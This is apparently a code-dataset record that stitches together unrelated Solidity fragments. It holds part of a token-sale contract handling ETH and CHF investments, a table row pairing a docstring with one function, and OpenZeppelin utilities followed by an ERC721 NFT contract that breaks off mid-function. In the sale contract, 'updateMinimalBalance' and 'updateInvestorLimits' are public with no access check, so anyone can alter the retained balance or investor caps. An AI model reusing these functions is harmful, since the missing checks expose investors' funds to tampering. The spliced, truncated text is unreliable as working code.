function ratesProvider() public view returns (IRatesProvider) {
return ratesProvider;
}
function sharePurchaseAgreementHash() public view returns (bytes32) {
return sharePurchaseAgreementHash;
}
/* Sale status */
function startAt() public view returns (uint256) {
return startAt;
}
function endAt() public view returns (uint256) {
return endAt;
}
function raisedETH() public view returns (uint256) {
return raisedETH;
}
function raisedCHF() public view returns (uint256) {
return raisedCHF;
}
function totalRaisedCHF() public view returns (uint256) {
return totalRaisedCHF;
}
function totalUnspentETH() public view returns (uint256) {
return totalUnspentETH;
}
function totalRefundedETH() public view returns (uint256) {
return totalRefundedETH;
}
function availableSupply() public view returns (uint256) {
uint256 vaultSupply = token.balanceOf(vaultERC20);
uint256 allowance = token.allowance(vaultERC20, address(this));
return (vaultSupply < allowance) ? vaultSupply : allowance;
}
/* Investor specific attributes */
function investorUnspentETH(uint256 _investorId)
public view returns (uint256)
{
return investors[_investorId].unspentETH;
}
function investorInvestedCHF(uint256 _investorId)
public view returns (uint256)
{
return investors[_investorId].investedCHF;
}
function investorAcceptedSPA(uint256 _investorId)
public view returns (bool)
{
return investors[_investorId].acceptedSPA;
}
function investorAllocations(uint256 _investorId)
public view returns (uint256)
{
return investors[_investorId].allocations;
}
function investorTokens(uint256 _investorId) public view returns (uint256) {
return investors[_investorId].tokens;
}
function investorCount() public view returns (uint256) {
return investorCount;
}
function investorLimit(uint256 _investorId) public view returns (uint256) {
return investorLimits[_investorId];
}
/**
* @dev get minimak auto withdraw threshold
*/
function minimalAutoWithdraw() public view returns (uint256) {
return MINIMAL_AUTO_WITHDRAW;
}
/**
* @dev get minimal balance to maintain in contract
*/
function minimalBalance() public view returns (uint256) {
return minimalBalance;
}
/**
* @dev get base price in CHF cents
*/
function basePriceCHFCent() public view returns (uint256) {
return BASE_PRICE_CHF_CENT;
}
/**
* @dev contribution limit based on kyc level
*/
function contributionLimit(uint256 _investorId)
public view returns (uint256)
{
uint256 kycLevel = userRegistry.extended(_investorId, KYC_LEVEL_KEY);
uint256 limit = 0;
if (kycLevel < 5) {
limit = contributionLimits[kycLevel];
} else {
limit = (investorLimits[_investorId] > 0
) ? investorLimits[_investorId] : contributionLimits[4];
}
return limit.sub(investors[_investorId].investedCHF);
}
/**
* @dev update minimal balance to be kept in contract
*/
function updateMinimalBalance(uint256 _minimalBalance)
public returns (uint256)
{
minimalBalance = _minimalBalance;
}
/**
* @dev define investor limit
*/
function updateInvestorLimits(uint256[] _investorIds, uint256 _limit)
public returns (uint256)
{
for (uint256 i = 0; i < _investorIds.length; i++) {
investorLimits[_investorIds[i]] = _limit;
}
}
/* Share Purchase Agreement */
/**
* @dev define SPA
*/
function defineSPA(bytes32 _sharePurchaseAgreementHash)
public onlyOwner returns (bool)
{
sharePurchaseAgreementHash = _sharePurchaseAgreementHash;
emit SalePurchaseAgreementHash(_sharePurchaseAgreementHash);
}
/**
* @dev Accept SPA and invest if msg.value > 0
*/
function acceptSPA(bytes32 _sharePurchaseAgreementHash)
public beforeSaleIsClosed payable returns (bool)
{
require(
_sharePurchaseAgreementHash == sharePurchaseAgreementHash, "TOS06");
uint256 investorId = userRegistry.userId(msg.sender);
require(investorId > 0, "TOS07");
investors[investorId].acceptedSPA = true;
investorCount++;
if (msg.value > 0) {
investETH();
}
}
/* Investment */
function investETH() public
saleIsOpened whenNotPaused payable
{
//Accepting SharePurchaseAgreement is temporarily offchain
//uint256 investorId = userRegistry.userId(msg.sender);
//require(investors[investorId].acceptedSPA, "TOS08");
investInternal(msg.sender, msg.value, 0);
withdrawETHFundsInternal();
}
/**
* @dev add off chain investment
*/
function addOffChainInvestment(address _investor, uint256 _amountCHF)
public onlyAuthority
{
investInternal(_investor, 0, _amountCHF);
}
/* Schedule */
/**
* @dev update schedule
*/
function updateSchedule(uint256 _startAt, uint256 _endAt)
public onlyAuthority beforeSaleIsOpened
{
require(_startAt < _endAt, "TOS09");
startAt = _startAt;
endAt = _endAt;
}
/* Allocations admin */
/**
* @dev allocate
*/
function allocateTokens(address _investor, uint256 _amount)
public onlyAuthority beforeSaleIsClosed returns (bool)
{
uint256 investorId = userRegistry.userId(_investor);
require(investorId > 0, "TOS10");
Investor storage investor = investors[investorId];
allocatedTokens = allocatedTokens.sub(investor.allocations).add(_amount);
require(allocatedTokens <= availableSupply(), "TOS11");
investor.allocations = _amount;
emit Allocation(investorId, _amount);
}
/**
* @dev allocate many
*/
function allocateManyTokens(address[] _investors, uint256[] _amounts)
public onlyAuthority beforeSaleIsClosed returns (bool)
{
require(_investors.length == _amounts.length, "TOS12");
for (uint256 i = 0; i < _investors.length; i++) {
allocateTokens(_investors[i], _amounts[i]);
}
}
/* ETH administration */
/**
* @dev fund ETH
*/
function fundETH() public payable onlyAuthority {
emit FundETH(msg.value);
}
/**
* @dev refund unspent ETH many
*/
function refundManyUnspentETH(address[] _receivers) public onlyAuthority {
for (uint256 i = 0; i < _receivers.length; i++) {
refundUnspentETH(_receivers[i]);
}
}
/**
* @dev refund unspent ETH
*/
function refundUnspentETH(address _receiver) public onlyAuthority {
uint256 investorId = userRegistry.userId(_receiver);
require(investorId != 0, "TOS13");
Investor storage investor = investors[investorId];
if (investor.unspentETH > 0) {
// solium-disable-next-line security/no-send
require(_receiver.send(investor.unspentETH), "TOS14");
totalRefundedETH = totalRefundedETH.add(investor.unspentETH);
emit WithdrawETH(_receiver, investor.unspentETH);
totalUnspentETH = totalUnspentETH.sub(investor.unspentETH);
investor.unspentETH = 0;
}
}
/**
* @dev withdraw ETH funds
*/
function withdrawETHFunds() public onlyAuthority {
withdrawETHFundsInternal();
}
/**
* @dev withdraw all ETH funds
*/
function withdrawAllETHFunds() public onlyAuthority {
uint256 balance = address(this).balance;
// solium-disable-next-line security/no-send
require(vaultETH.send(balance), "TOS15");
emit WithdrawETH(vaultETH, balance);
}
/**
* @dev allowed token investment
*/
function allowedTokenInvestment(
uint256 _investorId, uint256 _contributionCHF)
public view returns (uint256)
{
uint256 tokens = 0;
uint256 allowedContributionCHF = contributionLimit(_investorId);
if (_contributionCHF < allowedContributionCHF) {
allowedContributionCHF = _contributionCHF;
}
tokens = allowedContributionCHF.div(BASE_PRICE_CHF_CENT);
uint256 availableTokens = availableSupply().sub(
allocatedTokens).add(investors[_investorId].allocations);
if (tokens > availableTokens) {
tokens = availableTokens;
}
if (tokens < MINIMAL_INVESTMENT) {
tokens = 0;
}
return tokens;
}
/**
* @dev withdraw ETH funds internal
*/
function withdrawETHFundsInternal() internal {
uint256 balance = address(this).balance;
if (balance > totalUnspentETH && balance > minimalBalance) {
uint256 amount = balance.sub(minimalBalance);
// solium-disable-next-line security/no-send
require(vaultETH.send(amount), "TOS15");
emit WithdrawETH(vaultETH, amount);
}
}
/**
* @dev invest internal
*/
function investInternal(
address _investor, uint256 _amountETH, uint256 _amountCHF)
private
{
// investment with _amountETH is decentralized
// investment with _amountCHF is centralized
// They are mutually exclusive
bool isInvesting = (
_amountETH != 0 && _amountCHF == 0
) || (
_amountETH == 0 && _amountCHF != 0
);
require(isInvesting, "TOS16");
require(ratesProvider.rateWEIPerCHFCent() != 0, "TOS17");
uint256 investorId = userRegistry.userId(_investor);
require(userRegistry.isValid(investorId), "TOS18");
Investor storage investor = investors[investorId];
uint256 contributionCHF = ratesProvider.convertWEIToCHFCent(
investor.unspentETH);
if (_amountETH > 0) {
contributionCHF = contributionCHF.add(
ratesProvider.convertWEIToCHFCent(_amountETH));
}
if (_amountCHF > 0) {
contributionCHF = contributionCHF.add(_amountCHF);
}
uint256 tokens = allowedTokenInvestment(investorId, contributionCHF);
require(tokens != 0, "TOS19");
/** Calculating unspentETH value **/
uint256 investedCHF = tokens.mul(BASE_PRICE_CHF_CENT);
uint256 unspentContributionCHF = contributionCHF.sub(investedCHF);
uint256 unspentETH = 0;
if (unspentContributionCHF != 0) {
if (_amountCHF > 0) {
// Prevent CHF investment LARGER than available supply
// from creating a too large and dangerous unspentETH value
require(unspentContributionCHF < BASE_PRICE_CHF_CENT, "TOS21");
}
unspentETH = ratesProvider.convertCHFCentToWEI(
unspentContributionCHF);
}
/** Spent ETH **/
uint256 spentETH = 0;
if (investor.unspentETH == unspentETH) {
spentETH = _amountETH;
} else {
uint256 unspentETHDiff = (unspentETH > investor.unspentETH)
? unspentETH.sub(investor.unspentETH)
: investor.unspentETH.sub(unspentETH);
if (_amountCHF > 0) {
if (unspentETH < investor.unspentETH) {
spentETH = unspentETHDiff;
}
// if unspentETH > investor.unspentETH
// then CHF has been converted into ETH
// and no ETH were spent
}
if (_amountETH > 0) {
spentETH = (unspentETH > investor.unspentETH)
? _amountETH.sub(unspentETHDiff)
: _amountETH.add(unspentETHDiff);
}
}
totalUnspentETH = totalUnspentETH.sub(
investor.unspentETH).add(unspentETH);
investor.unspentETH = unspentETH;
investor.investedCHF = investor.investedCHF.add(investedCHF);
investor.tokens = investor.tokens.add(tokens);
raisedCHF = raisedCHF.add(_amountCHF);
raisedETH = raisedETH.add(spentETH);
totalRaisedCHF = totalRaisedCHF.add(investedCHF);
allocatedTokens = allocatedTokens.sub(investor.allocations);
investor.allocations = (investor.allocations > tokens)
? investor.allocations.sub(tokens) : 0;
allocatedTokens = allocatedTokens.add(investor.allocations);
require(
token.transferFrom(vaultERC20, _investor, tokens),
"TOS22");
if (spentETH > 0) {
emit ChangeETHCHF(
_investor,
spentETH,
ratesProvider.convertWEIToCHFCent(spentETH),
ratesProvider.rateWEIPerCHFCent());
}
emit Investment(investorId, investedCHF);
}
/* Util */
/**
* @dev current time
*/
function currentTime() private view returns (uint256) {
// solium-disable-next-line security/no-block-members
return now;
}
} | update minimal balance to be kept in contract/ | function updateMinimalBalance(uint256 _minimalBalance)
public returns (uint256)
{
minimalBalance = _minimalBalance;
}
| 12,912,509 |
// SPDX-License-Identifier: GPL-3.0
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: Matt W - NFT.sol
// André Luque
pragma solidity >=0.8.2;
// to enable certain compiler features
//import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
